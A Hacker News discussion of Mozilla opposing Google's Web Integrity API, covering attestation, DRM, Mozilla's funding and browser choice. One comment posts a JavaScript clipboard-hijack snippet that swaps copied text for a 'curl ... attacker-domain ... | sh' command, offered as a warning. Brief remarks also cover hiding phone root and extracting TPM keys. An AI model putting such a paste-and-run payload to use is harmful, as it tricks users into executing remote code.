Friendly reminder to don't just comment and complain to Google, contact your antitrust authority today: US: - https://www.ftc.gov/enforcement/report-antitrust-violation https://www.ftc.gov/enforcement/report-antitrust-violation - antitrust@ftc.gov EU: - https://competition-policy.ec.europa.eu/antitrust/contact_en https://competition-policy.ec.europa.eu/antitrust/contact_en - comp-greffe-antitrust@ec.europa.eu UK: - https://www.gov.uk/guidance/tell-the-cma-about-a-competition-or-market-problem https://www.gov.uk/guidance/tell-the-cma-about-a-competition... - general.enquiries@cma.gov.uk India: - https://www.cci.gov.in/antitrust/ https://www.cci.gov.in/antitrust/ - https://www.cci.gov.in/filing/atd https://www.cci.gov.in/filing/atd Canada: - https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-eng/GH%C3%89T-7TDNA5 https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-e...
- rolandog 3y ago
  Thanks, it should be more common practice to make news more actionable, and not turn us into mere spectators.

885 points by danShumway 3y ago

Expected, but meaningless if we can't drive people towards Firefox and away from Chromium products. That's something of a responsibility we all have, especially those of us invested in the safety and security (collectively, trust) of the web. I haven't seen anything yet on whether Brave will support it, though if I'm understanding correctly, they won't have a choice since they're using Chromium. Hopefully I'm misinformed.

paulryanrogers 3y ago
Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. Ultimately I think we must permanently return to browser ballots back by the law, like the IE bundling fallout. Otherwise friction and incentives will continue to entrench one dominant player.
- echelon 3y ago
  > Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. Mozilla, the browser, is great. Mozilla efforts, such as Rust, have been historically great. Mozilla leadership is currently awful. They focus is on the wrong things - web VR and low-quality foundational AI models. Maybe because they think the web is at risk of disappearing outright. But the true enemy is Google, and they're currently its well-behaved prisoner. Mozilla can't bite the hand that feeds it, but someone needs to point the FTC, Congress, and the EU at Google. Everything they do, buy, and work on is to point an overwhelming majority of internet users at its ad products. Chrome, Search, Android, YouTube, Apple default search engine deal, etc. Google has become inescapable. And that's rather anti-competitive if you're trying to advertise your business or selling ad tech. Nevermind that the web commons and standards are constantly in Google's blast radius for funneling everyone into their gaping maw.
  - runiq 3y ago
    Ya. All I want is to throw moneydollars at the fucking browser, not at whatever feel-good initiative of the month the Mozilla Foundation is coming up with. I don't understand the problem.
  - insanitybit 3y ago
    I can't see how Mozilla could possibly right the ship with their current CEO. If they get rid of her maybe things could improve. Until then, I'd bet on Microsoft/Apple before I bet on Mozilla when it comes to protecting the web.
    - twelvechairs 3y ago
      What has the CEO done? Microsoft and Apple dont have a good history so assuming there is something big here?
      - clipsy 3y ago
        [flagged]
        huggingmouth 3y ago
        She completely and utterly failed at her duties as the organization's leader. That over inflated compensation package that's seemingly inversely-correlated with firefox's userbase and the number of technical roles at Mozilla is most certainly not "earned". I'd personally call it embezzlement or misappropriation of funds, but that's just me.
        junofan 3y ago
        Haven’t heard about that, but even Safari is kicking their ass on desktop market share. I just visited the Firefox download page. It looks like shit. Something’s not going right over there.
        HideousKojima 3y ago
        Or it's that she's taking Mozilla down paths that lead to Chrome dominance in the future, while getting paid a hefty sum that would be better spent funding Firefox development.
- jauntywundrkind 3y ago
  [flagged]
  - kmeisthax 3y ago
    The list you linked includes things like: web access for bluetooth, MIDI, and USB devices. These are very fringe use cases that quite frankly shouldn't be accessible from a random website. The rest of these sound like extra bits of fingerprintable entropy here and there. Like, in no way will a website knowing how much RAM I have will improve my experience, but it'll help add a few bits of data to my web advertising fingerprints. Magnetometers and battery status would absolutely be fingerprintable; individual device characteristics would be unavoidably measurable. The page you linked to actually lists all this out, and that should be enough to convince you that these standards shouldn't be implemented.
    - jauntywundrkind 3y ago
      [flagged]
- yjftsjthsd-h 3y ago
  Mozilla gets hate because they say they're fighting for the user and then fail to live up to that standard. People expect Google to try and screw over users, so when it happens nobody is disappointed. I do agree that this results in oddly skewed reactions, but the emotional side makes sense.
  - zirak 3y ago
    How do we define "failure"? Let's say we can measure how much Mozilla fights for the user and put it on a scale: |--------------------| anti-user pro-user Where on the scale is "failure"? Let's say Mozilla is on the M, and Google is on the G: |----G-------M-------| anti-user pro-user Is Mozilla failing? The sentiment I seem to see is that anything short of perfect is failure.
    - hypertele-Xii 3y ago
      It's not about the absolute position on the scale, but the direction of change. Mozilla has been moving towards anti-user for years now.
      - zirak 3y ago
        They went from A to B (exact magnitude of change is of course part of the criticism): |------------B---A---| anti-user pro-user Is Mozilla still, currently, a failure at their job? --- These kinds of discussions are frustrating to me since it feels like we've been dealt a very bad hand. But it's not just this hand, the dealer is firmly set on us only receiving bad hands in any game we play. Like in a card game, this is the only hand that we'll get. What other corporation do we have to push these kinds of values? What other avenue do we have? It's sad that we've come to this situation, but if the choice is the currently perceived-to-be-failing Mozilla and no Mozilla, I pick the failing Mozilla.
        account42 3y ago
        > What other corporation do we have to push these kinds of values? The thing is, Mozilla shouldn't even be a for-profit corporation in the first place.
- benterix 3y ago
  > Judging by all the hate Mozilla gets around here, it would be nice to at least see some credit given where it is due. They get hate only for bad or useless things (like the famous "independent voices") but a lot of love for the actual work being done, especially Firefox Containers, enormous performance improvements etc. I'm using Firefox on a daily basis and just the Containers feature make it so much superior to Chrome.
Gigachad 3y ago
The end result is that DRM and banking sites will just tell you to use chrome to continue. And users will keep migrating to chrome until Mozilla is forced to implement it.
- antod 3y ago
  I dunno about banking sites, currently they seem to be some of the worst out there in terms of caring about modern security techniques. eg SMS 2FA at best, terrible password handling etc. They don't move very fast at all. It feels weird that I'm now grateful for how crap they are.
  - jasonjayr 3y ago
    .... which is why if this web integrity thing gets out, you know the next move they make will be to embrace it.
  - Gigachad 3y ago
    Banking apps seem to be the main users of root detection on android. One prominent bank in Australia doesn’t have a web UI at all and only allows access via app. And I suspect it’s partially for security reasons. The average person is very likely to have malware on their computer, but not on their phone.
    - nfriedly 3y ago
      Funny story: I had to root my phone to get the Fidelity app to work. I installed lineageOS, which is passes the Google SafetyNet check out-of-the-box. So most things just work, including my local Credit Union's app. But lineageOS fails the CTS profile check on my phone. Fidelity checks this after you log in and shows a "For security reasons your account has been blocked..." message. So I had to root the phone to install a CTS profile fixer, and then more hacks to hide the fact it was rooted. After that Fidelity worked, but requested root permission every time I launched it until I figured out how to permanently disable that. Netflix was similar, but not quite as annoying.
    - 3y ago
proxiful-wash 3y ago
If the web integrity and standards depend on coherency and transparency your post does nothing but to miss inform those who know little about the subject.
huggingmouth 3y ago
As far as I know, disabling it in chromium can be as simple as commenting out the last line that returns the verdict. It'll need more work if you don't want to send data to random "trusted" parties, but brave is already doing that stuff anyway. I don't see why it would be that difficult. The issue here is with websites that want to mandate it.
- o1y32 3y ago
  Just so you know, barely anyone in the real world uses Chromium, and compiling Chromium takes hours (I have done that many times). So that's not an argument. Also, if this is ever becomes a standard or a de-facto standard, it probably will be implemented as a proprietary feature, in the same way as Widevine or more closely SafetyNet -- if anyone can easily get around this, there is no point of doing it.
userbinator 3y ago
especially those of us invested in the safety and security (collectively, trust) of the web. Note that "safety and security" has become an abhorrent phrase among many of us because it evokes the "authoritarian dystopia" that Google et.al. are creating --- we're more concerned about freedom and interoperability.
- eganist 3y ago
  What you're saying is all true, but speaking strictly, the security of the web as a whole is endangered if proposals give entities the tools they need to chip away at that freedom and interoperability bit by bit. That was the intention behind my choice of words — representing the whole web, not just components of it or companies operating on it.
Railander 3y ago
That will only happen when people can't do the things they normally could anymore on the browser. I was/am expecting it to happen with manifest v3, as I understood it it would break userscripts and make adblocking a pain, so far it hasn't happened so I still haven't bothered switching off Chrome. Assuming this gets implemented, users might start being unable to access certain websites or services because their identity is deemed "insufficient", which would move them to use a different browser that does not have this.
- yomlica8 3y ago
  My understanding was that manifest v3 implementation was delayed so I'd be surprised if it broken anything yet. It looked to me like the standard blow back management move where they see opposite boiling up so they announce a "delay" and try to sneak it in later when the heat has died down.
zarzavat 3y ago
Brave can very easily disable this. They don’t use stock Chromium.
- grishka 3y ago
  Vivaldi as well. Their stance on these kinds of user-hostile Google initiatives is pretty clear.
sir_brickalot 3y ago
One option is for sysadmins and IT shops serving SMBs to preinstall Firefox on workstations. That way users get used to the browser and might use it privately as well. Bonus: Preinstall uBlock Origin. Thats what we do, anyways.

rvz 3y ago

Which Mozilla knows that they cannot do anything to stop Google anyway. After all, Google is the one that pays their bills so either way Mozilla is beyond powerless.

yoavm 3y ago
Google doesn't pay Mozilla's bills as a donation, they pay for traffic because they make money from it. Why does this make Mozilla powerless? Was Google successful, for example, in making Firefox not support all the things is does that allow for better Ads blocking? https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-best-on-Firefox https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...
- 3LazTjBv-f 3y ago
  At this point in time we can second guess the "they pay for traffic". AFAIK Firefox market share dropped significantly but Google payment stayed mostly the same. Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple? And speaking of Microsoft - I am using Thunderbird 102.6.1, since any newer version doesn't work for me with Outlook365 - MS OAuth implementation requires user agent to be accepted by some "administrator". Looks like great example of what we can expect from Google, even if that Web Integrity get delayed for few years. Mozilla really is powerless - either they cave in, like with video DRM - or their browser won't be useful as daily driver
  - yoavm 3y ago
    > Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple? Maybe, but what does that change? It might even be a stronger lever to pull than "we will stop sending you traffic". My point is that Google isn't donating money to Mozilla because it's nice, it pays for something (traffic / legal protection / whatever). I just don't see how the parent idea that Mozilla most comply with Google because Google "pays their bills" holds.
- Ygg2 3y ago

kazinator 3y ago

"Vendor neutral" sometimes means that vendors have equal opportunity to screw the user. {Platform-vendor/developer/end-user}-neutral is more like it.

doesnt_know 3y ago

They might appose it, but if it ships in Chrome and starts being actively used they will also implement it, just like CDM. At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share.

account42 3y ago
> At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share. Remind me, how has that strategy worked out for their market share? Perhaps the market for I-Can't-Believe-It's-Not-Chrome isn't actually that big since those users don't have a problem with just using Chrome.

1vuio0pswjnm7 3y ago

Browser detection. "Environment" detection. How to design a website that is not accesible with Chrome. As a means of protest by certain website operators. Would be fun to watch Google circumvent that. Especially if it was only popular amongst small, noncommercial websites.

huggingmouth 3y ago
I like this idea. Help users by training them to use multiple browsers regularly. My kids already use multiple browsers (e.g. to block youtube ads on their android devices). People will happily use other browsers if they have a good reason to. But rather than block them outright, I would disable all but the necessarily features snd keep reminding those users to either switch to another browser or to use something like tampermonkey (with clear instructions in what it needs to do). What would be a good way to detect support for this stuff? The js api?
userbinator 3y ago
This might be inspirational: https://news.ycombinator.com/item?id=25240299 https://news.ycombinator.com/item?id=25240299
egberts1 3y ago
For a long 6 years, Chrome could not access my website (but all other web browsers can) because it was unable to respect server-side mandatory negotiation of non-HTTP/3 along with only ChaCha/Poly (no AES/RSA). Microsoft Edge fixed theirs shortly afterward. Happy to say, Google just fixed it (about 4 months ago). Many free cross-browser testing tools still can demonstrate the breakage (via version testing).

hardcopy 3y ago

Stop using Chrome.

RcouF1uZ4gsC 3y ago

Ironically, the biggest potential impediment to this is Apple. It is the fact that iOS is a walled garden where the website owner can’t just say “Install Chrome and come back” unless they want to lose a lot of potential users.

omnimus 3y ago
What is even more ironic is that wall shouldnt be there and probably wont be because of EU. Imagine we fully loose the web because iOS opens up.
- strbean 3y ago
  Hopefully the EU will also put a stop to this bullshit as well. We may all end up stuck using a German VPN so we can still use ad blockers.
realharo 3y ago
Reddit does this with "install our app" on its mobile website.
- bacchusracine 3y ago
  >Reddit does this with "install our app" on its mobile website. Who? Oh you mean digg v3? Who's digg? Exactly....
JeremyNT 3y ago
Of course, on that platform they can just say "install our app and come back" for the same basic effect.

freediver 3y ago

Worth also noting is WebKit's standards positions at https://webkit.org/standards-positions/ https://webkit.org/standards-positions/ (this one has not landed yet, likely to be opposed as well)

jer0me 3y ago
https://github.com/WebKit/standards-positions/issues/234 https://github.com/WebKit/standards-positions/issues/234

charcircuit 3y ago

>Additionally, the use cases listed depend on the ability to “detect non-human traffic” which as described would likely obstruct many existing uses of the Web such as assistive technologies, automatic testing, and archiving & search engine spiders. Assistive technologies will still work as the browsers implement platform's assistive APIs. Automatic testing will still work because a developer isn't going to add restrictions to their own tests from their site. Unless they are testing if a captcha gets shown from an unsafe environment. Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled. >This means that no single party decides which form-factors, devices, operating systems, and browsers may access the Web. The proposal allows anyone to become an attestor. There would not be a single attestor who you would have to prove your trustworthiness to.

kmeisthax 3y ago
>There would not be a single attestor who you would have to prove your trustworthiness to. Either this protocol is useless for its intended purpose, or banks will only accept a small handful of attestors that promise not to sign for environments where the owner has control. Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust. The fraud prevention use case requires that the browser matches what Google or Mozilla shipped, not what I choose to actually run. From 10,000 feet in the sky, there's zero difference between, say, someone who installed modified software on their phone to protect their privacy and someone who was tricked into installing malware[0]. Banks don't care about your freedom, they care about making your fraud someone else's fault. Some of the use cases explicitly call for locking the owner out of their device too. Anticheat in games is treated as at least beneficial to honest users, but it can still be user hostile[1]. Click fraud detection shouldn't even be something that a USER agent cares about - and it's not like Google cares about that anyway[2]. Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android. At best, Google agrees to attest for Chrome and Firefox on non-Chrome-OS Linux and it winds up being like EME did. At worst everyone has to buy a Windows license just to use most websites anymore. >Assistive technologies will still work as the browsers implement platform's assistive APIs. At least until someone says "we need to keep content from being data mined for AI training[3]" and AI scrapers find out how to automate those APIs. The underlying power dynamic of attestation means that websites can just demand attestors ban screen readers, in the same way that ebook DRM already does. [0] Casual reminder that Louis Rossman was harassed by the GrapheneOS developer for agreeing with someone that the developer asserted had harassed them. He uninstalled GrapheneOS specifically to avoid being pwned by its developer. [1] Let me remind you of the insane cat-and-mouse game where cheaters went into the kernel, so now anticheat is in the kernel, and now cheaters find vulns in the anticheat to hide their cheats in, which now malware can use as well. [2] https://www.theregister.com/2023/06/29/google_trueview_skepticism/ https://www.theregister.com/2023/06/29/google_trueview_skept... [3] Reddit

michaelmrose 3y ago

So imagine you have a separate slot in your desktop/laptop occupied by a secondary single board computer of sufficient power to run your banks website or other secure operations. Since you are going to use it to git push to import repos or move money you give two shits if it has much in the way of customization. You hit a physical button and an internal kvm switches usb input and displayport out between primary and secondary machine. There is no shared clipboard or way for data to be intentionally be shared between machines and nothing to distinguish this setup from any other "secure" setup to disallow its use. It ticks the correct boxes to meet the described intent of the feature and unlike a secure environment one is obliged to use for everything would actually be more secure as you have no good reason to install a bunch of software or browse random websites on the slower secure environment.

throw_a_grenade 3y ago
You can try QubesOS, which does exactly this using virtual machines. Clipboard is not shared by default, you need to move the contents of the clipboard using yet another keystroke pair (so it's 4-salutes scheme: Ctrl-C, Ctrl-Shift-C, Ctrl-Shift-V, Ctrl-V to actually copy something between machines). App's windows are delineated with coloured borders which cannot be overridden from inside the VM. There are major usability problems, mostly related to graphics (the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all), but for things like browsing bank apps or even watching youtube it's enough.
- jeroenhd 3y ago
  > the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all This is a major reason I haven't tried QubesOS yet. Thanks to Nvidia I've seen what happens when you run a desktop with a browser without hardware acceleration and it sucks. CPU cores get pegged with basic scrolling or video playback and power consumption is simply unreasonable. Perhaps if I were a human rights activist or a journalist I would use it, but I'm not.
jeroenhd 3y ago
You can also just use a Windows VM and forward the already-working TPM to it. With tools like Cassowary you can use Windows browsers through an app-only RDP connection, integrating the VM seamlessly. Hardware acceleration will be a bit more difficult, but for things like encoding or decoding video you can already forward virtual GPUs on most platforms if you get the configuration right. I don't think you'll need to buy an SBC for this. A weekend of messing with virtual machines will be enough.

thunderbong 3y ago

IMHO, Apple has a very good opportunity to open-source Safari. If Safari were to become cross platform, out would surely help in fighting Google Chrome's dominance. Although I do agree that means there's less competition in the browser engine world.

yjftsjthsd-h 3y ago
Safari uses webkit as the engine, which is FOSS. I mean, yes, I'd also like them to open source the whole thing and make it portable, but the engine is the hard part.
- paulddraper 3y ago
  Look at the success of Chromium, Brave, etc.
  - tgv 3y ago
    Safari doesn't have a Windows or Android port.
    - o1y32 3y ago
      Safari used to be actively developed and shipped on Windows before 2010.
      - jwells89 3y ago
        It relied on large portions of AppKit/Cocoa ported to Windows though, and I don’t think Apple would be too keen to open source that too. For it to make sense to open source Safari for Windows, they’d first have to pull out the AppKit bits and replace them with something else.
- PlutoIsAPlanet 3y ago
  You should be able to compile the GTK front end of WebKit nearly everywhere. The Mac front end uses macOS APIs and Apply is super selective which ones they port to Windows and WebKit would force them to open source this.

realusername 3y ago

The mobile equivalent, the play integrity API should be illegal and fought in court. I'm also pretty sure it goes against the right to repair and e-waste laws in the EU since it's whole idea is to remove third party roms. We should start to orient the debate instead on the security issues created by Google and their ads.

zb3 3y ago
Google is abusing trusted computing. While I can understand that some banks prefer the payment processing code to be run on devices which are locked down, currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments. Google should be split so that the interests of Google'd not taint Android and Chrome.
- realusername 3y ago
  > currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments. That's exactly the thing, this integrity api only means the deviced is controlled, not secure, that's two very different things. You can have a phone riddled with pre-installed malware passing the safety net and you can have EOS, the cleanest rom that I know about which can fail it.
- account42 3y ago
  Abusing trusted computing? The whole concept is about NOT trusting the user and giving control to third parties instead.
  - zb3 3y ago
    Yeah, but while you could think of trusted computing like "the author of the code has control" - and I'd not see a big issue with payment apps being tamper-resistant, I do see a GIANT issue with Google instering their bloatware in the middle..

dhx 3y ago

Can Mozilla also respond with their position on their own IPA proposal[1] for tracking users across the Internet? If you are shown a product ad whilst browsing searchengine.example and then later look up the product at reviews.example, then end up making a purchase at shop.example, your Mozilla browser will send all of these events to one or more aggregation services that allows shop.example to understand (at least in aggregate, assuming you trust the cartels running the aggregation services) that you were exposed to their product at searchengine.example and further exposed to their product at reviews.example. Where previously an ad tech company was ultimately able to track users based on source IP address (even if cookies had been disabled by a user), IPA now allows these companies to track users across multiple IP addresses, and regardless of the user's cookie settings, via a unique tracking identifier. It is also proposed that the operating system provides the unique tracking identifier which can then be used by all applications or browsers on a device, allowing different devices behind a single IP address to be distinguished. [1] https://github.com/patcg-individual-drafts/ipa/ https://github.com/patcg-individual-drafts/ipa/

CaliforniaKarl 3y ago
Given TFA, it looks like you can ask Mozilla for a position by opening a GitHub issue at https://github.com/mozilla/standards-positions https://github.com/mozilla/standards-positions
- dhx 3y ago
  A position request was raised in February for both Mozilla[1] and WebKit[2] and neither have been responded to. [1] https://github.com/mozilla/standards-positions/issues/753 https://github.com/mozilla/standards-positions/issues/753 [2] https://github.com/WebKit/standards-positions/issues/142 https://github.com/WebKit/standards-positions/issues/142
kmeisthax 3y ago
Attribution is necessary for advertising to work at all. If you don't have attribution that is independent of the ad platform you bought ads from, then the ad platform will defraud you[0]. This is separate from ad tracking where you build up interest profiles on users, or ad remarketing where sites can buy ads from people who have visited them in the past[1]. Most of these private attribution systems are specifically designed so that the people running the ad can count how many people clicked their ads, but not who clicked them or what other things they did. Safari had a proposal in which you could only have a certain number of campaigns running per domain, so you couldn't set up a separate """campaign""" for each user and fingerprint them all at once. I don't know how the Mozilla proposal differs. Whether or not user-agents should care about this sort of thing is an orthogonal question. [0] https://www.theregister.com/2023/06/29/google_trueview_skepticism/ https://www.theregister.com/2023/06/29/google_trueview_skept... [1] Remarketing in particular is responsible for the "feeling of being seen" from modern ads where you search for one thing and get 10,000 ads for the thing for the next week

howinteresting 3y ago

There is a long history of hackers—in the classic sense—using computers to do things other people don't want them to do, and those other people unable to do anything about it (or, at best, engaging in an arms race with the hackers). This has been bad for those other people but overall very good for society. It is what birthed GNU, "IBM Compatible", ad blockers, Firefox, BitTorrent, YouTube ReVanced/youtube-dl, and so much more. The goal of device attestation for consumer software is to put an end to that. Originally pioneered by Apple on iOS, now making its way to all of computing thanks to the forces of capitalism, device attestation means that the hackers lose. It is the bad ending. The other twin threat, and I hate to say it, is the software industry sorting its security story out. In the past iOS jailbreaks used to be common, but there hasn't been an iOS jailbreak in a year. Rust isn't helping. We are hurtling towards a world where producers and IP holders have complete control over the content they produce, and use leading-edge cryptography and ultra-secure consumer-hostile software to keep it that way. This is one of the most dangerous developments to ever happen in all of history, and once it's real there's no going back. Stallman was right.

klabb3 3y ago
Well put. In practice, all this attestation crap is just DRM, as far as I can tell. It’s of course being marketed as an opt-in thing which can “improve your experience”. Similar to how giving your wallet away at gunpoint can improve your happiness.
- pydry 3y ago
  Functionally it's a protection racket. In exchange for protecting your devices from small, low frequency risks like evil maid attacks or whatever, you are uniquely identified for the purposes of DRM and advertising. It's not really optional. At least, not unless you consider online banking to be optional.
  - Avamander 3y ago
    You personally get protected from low frequency massive impact risks. Website owners get protected from an ever increasing amount of malicious content. Now nearly impossible to detect thanks to LLMs. In theory you should be able to see the appeal that has.

devit 3y ago

In case it's not obvious, here is how the attack works: 1. The attacker manufactures a device, such as a smartphone, generates a keypair for it, stores it on an HSM on the device (generally called a "trusted enclave"), and signs the public key of the keypair with a master key 2. The device runs the attacker's software and is designed so that whenever non-attacker software is run with elevated privileges, the HSM is informed of that fact in a way that can't be reset without rebooting (and starting again with the attacker's software). For instance, the device might use a verified boot scheme, send the key the OS is signed with to the HSM in a way that is unchangeable until reboot, and it might employ hardening like having the CPU encrypt RAM or apply an HMAC to RAM 3. The HSM produces signatures of messages that contain statements that the device is running the attacker's software, plus whatever the attacker's software wants to communicate and it won't produce them if it's running software of the user's choice as opposed to the attacker's software as established above. It also includes the signature of its public key with the master keypair, allowing accomplices to check that the device is indeed not under the user's control, but rather under the control of someone they trust to effectively limit the user's freedom 4. Optionally, that attestation is passed through the attacker's servers, which check it and return another attestation signed by themselves, allowing to anonymize the device and apply arbitrary other criteria 5. Conniving third parties can thus use this scheme to ensure that they are interacting with a device running the attacker's software, and thus that the device is restricting the user behavior as the attacker specifies. For instance, it can ensure that the device is running the accomplice's code unmodified, preventing the user from being able to run software of their choice, and it can ensure that the user is using device as desired by the attacker and their accomplices. This attack is already running against Android smartphone users (orchestrated by Google, in the form of SafetyNet and the Play Integrity API) and iOS smartphone users (orchestrated by Apple) and this extends the attack to the web.

Doxin 3y ago
Can I just say I appreciate the framing of this as an attack? Somehow I hadn't yet mentally filed Google and friends under "Man in the middle" but that's pretty much exactly what's going on. This Web Integrity API is just a means to cement themselves as obligatory man in the middle, as opposed to an optional one.

notpushkin 3y ago

Tangential: I'd love to donate to Mozilla, but I'm concerned my money could just end up in some C-suite pockets if I do. Is there a way to donate specifically to Firefox core(-ish) team, and maybe also MDN?

sofixa 3y ago
That wouldn't make any sense from them. What good would donations for Firefox be if they can't pay the cleaning staff of their office or it's rent or the HR and accounting and legal people that keep the "Firefox core-ish team, and maybe also MDN" employed and running? Even the CEO, even if ridiculously overpaid (one can make an argument that to get a quality CEO in the US you need to pay them a lot, which I don't buy, surely there are people capable of being CEOs out there that aren't greedy as fuck and would be willing to accept a low salary of a 1-2 million $ per year) is necessary for the company, and a bad CEO can ruin them (see: GE, Enron, Boeing, Twitter, etc.). For a "fun" example of how strict budget destination restrictions fail, take a look at Atlanta's MARTA, that used to have a fixed 50/50 budget split between OPEX and CAPEX by it's funding law, and therefore had brand new trains but everything else falling apart.
- notpushkin 3y ago
  That totally makes sense, yeah! But giving donors just a bit more control would still be nice IMO.
  - cptskippy 3y ago
    A lot of charities allow restrictions for donations but often those aren't transparent to the donor.
Havoc 3y ago
Company finance income streams are rarely ringfenced like that.
coldpie 3y ago
Do you do this same analysis for every purchase you make? Maybe the sandwich shop you bought lunch at used your money to buy a pizza for the owner & her wife, neither of whom worked at the store that day and made your lunch. Does that upset you? It's a business. Money comes in, money goes out, product gets made. Either pay them for the product you like, or don't. It's up to them how they use the money they get.

egberts1 3y ago

Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely. Basic malware JavaScript snippet: <script> document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); }); </script>

westernpopular 3y ago
This particular attack is actually not a concern if you're using fish (or zsh for that matter I think), as it will not execute pasted content without an additional pressing of the enter key.
- account42 3y ago
  It's still a concern because there will be users reflexively pressing enter without checking what they pasted if it's the expected value most of the time. Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.
  - fruitreunion1 3y ago
    Yeah, I'm disappointed there's no permission toggle so that I could have javascript-based clipboard setting behind a prompt on most websites and have exceptions for others.
    - egberts1 3y ago
      Sound like an enhancement feature request for NoScript or UBlock Origin, no?
- fruitreunion1 3y ago
  Bash also buffers pasted content.

deleted 3y ago

[deleted]

masukomi 3y ago

I've said it elsewhere but folks need to use Firefox, because if everyone stops there'll be no-one with a voice to stand up to Google's BS because they OWN chrome and can do whatever they want with it. Not saying it's perfect or better, just that we need it. we need a competing browser with a rendering engine that google doesn't ultimately control that has a non-trivial market share. Otherwise we may as well just stop complaining and let google do what it wants because we'll have no power to stop them anyway.

cj 3y ago
Isn't the majority of Mozilla's revenue from Google's paid placement as the default search engine? Or has this changed in recent years? Quick googling confirms 50%+ of revenue came from Google 5-10 years ago, but couldn't find more recent data. If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source. Edit: Also raises the question, what company or organization should be developing browsers? A browser is something everyone expects to be free, but a browser is by no means free to develop, operate and maintain. For-profit browser companies (like Brave) would be forced to monetize the browser (like Brave tried to do with BAT crypto tokens, ads on the new tab page, etc)
- Shawnj2 3y ago
  Yes but no. If google wanted to force Mozilla to do anything they could switch default search providers with someone else who will pay them about the same relatively easily.
- everforward 3y ago
  > If Google is Mozilla's primary revenue source (especially if it's the majority), then Google effectively controls Mozilla via the leverage it has to pull Mozilla's largest revenue source. There's been speculation for a long time that the real reason Google pays for that is to keep Mozilla afloat and stave off antitrust investigations related to Chrome. That may have changed with other browsers coming out, although almost all of them are based on Chromium. Ianal, have no idea whether or not someone can be a "competitor" if they're using largely the same source. If it's true that Google is mostly paying for antitrust avoidance and that something like Edge isn't a "competitor", Mozilla has substantial leverage. Mozilla just needs to be cheaper than an antitrust investigation and potential loss of that case. I would imagine that's not hard to do, that sounds expensive.

stainablesteel 3y ago

i have a question, and i understand perfectly well this is a horrible idea but, is there an actual need to change how internet traffic operates? is there something currently broken?

alex7734 3y ago
Right now you can change how websites are displayed on your device, block ads, automate internet browsing and download content to keep it without the consent of the website which Google doesn't like. With enough websites using this API to block "untrusted" devices, since Google is the one that decides who is "trusted" that gives them an iron grip on what you can use to browse the web. If they decide to not grant your competing project "trusted" status, you now cannot build a competing device, OS, or browser. And since Google owns the most popular browser and one of the most popular OS that gives them little incentive to allow competition. Without a "trusted" browser that can scrape the web you are also effectively blocked from building a competing search engine. Basically this API serves to cement Google into a position of power.
- stainablesteel 3y ago
  right, i get that, but i was asking if there's something inherently wrong with the current setup, my assumption is no

alex7734 3y ago

How expensive would it be to rip the signing keys off the TPM? People used to do it to get free satellite TV but I imagine it's way more expensive now with the smaller transistor sizes

grishka 3y ago
Doesn't every TPM use a unique key to prevent this exact thing happening? If you do rip the key off of it and publish it, they'd just blacklist that particular key as "compromised".
- alex7734 3y ago
  I guess. But if the key stays private it could power a scraper or a proxy. Just wondering just how expensive it really is to rip the key out (or to have access to the tools to do it)
- strbean 3y ago
  Rip the key off the cheapest android phone you can buy, or an old one after you've upgraded. Don't publish it - pass it to your rooted phone which can now use an emulated TPM.

dahwolf 3y ago

To the people saying "stop using Chrome", I don't think you understand the situation. Using a non-Chrome browser does not protect you from this proposal. If anything, worst case it will force you to use Chrome for specific websites, say a bank. So unless 3 billion people switch browsers overnight, avoiding Chrome does not make this go away.

cptskippy 3y ago
You gotta start somewhere. Throwing up your hands and saying you're not switching because no one else will isn't great. I've used Firefox as my primary browser since it was Phoenix. Before that I used Netscape Communicator. It's not hard and I'm not missing out on anything.
- dahwolf 3y ago
  You're not wrong, and I'm a Firefox user as well. But as it comes to the urgent matter of stopping this proposal in its tracks, switching browsers won't do it. It requires other methods of immediate protest.

whywhywhywhy 3y ago

If they wanted to oppose it they should have concentrated on being actual competition with marketshare, not checks notes selling VPN subscriptions and a bookmarking service.

mgraczyk 3y ago

Viewing the web as a platform for delivering applications, Web Integrity is an obviously good thing that I personally would use as a developer who makes software people pay for. The opposition listed here is mostly misguided. For example, there is ~0% chance Google breaks "screen readers" or "assistive technologies" with Web Integrity. Saying that they would break seems like a bad faith argument to me. Fundamentally this is about DRM and whether or not you think it should be allowed. I believe optional DRM for web applications would be good for developers and users of the apps. It would be bad for most other entities (crawlers, scrapers, criminals, etc). So I am in favor of it.

lozenge 3y ago
Accessibility isn't just about screen readers. I use extensions to alter page CSS to fix text sizes, contrast, fix Reader Mode, etc. With the Integrity API these could be blocked by the website.
insanitybit 3y ago
Yeah, the benefits here are pretty cool to think about. The ability to say "you can't access this sensitive web resource until you attest that your system is up to date and an antivirus has run in the last week" is huge. The problem is that sites could also say "and you don't have an adblocker installed". One option would potentially be to only allow positive assertions - ie: "You are up to date" not "you are not running this". TBH I think that would address a major concern for me.
potamic 3y ago
If people are paying for the software, then they should be able to use the software as they wish. If you were selling a towel, you wouldn't put restrictions on someone wetting it and using it for hand to hand combat, would you?
- mgraczyk 3y ago
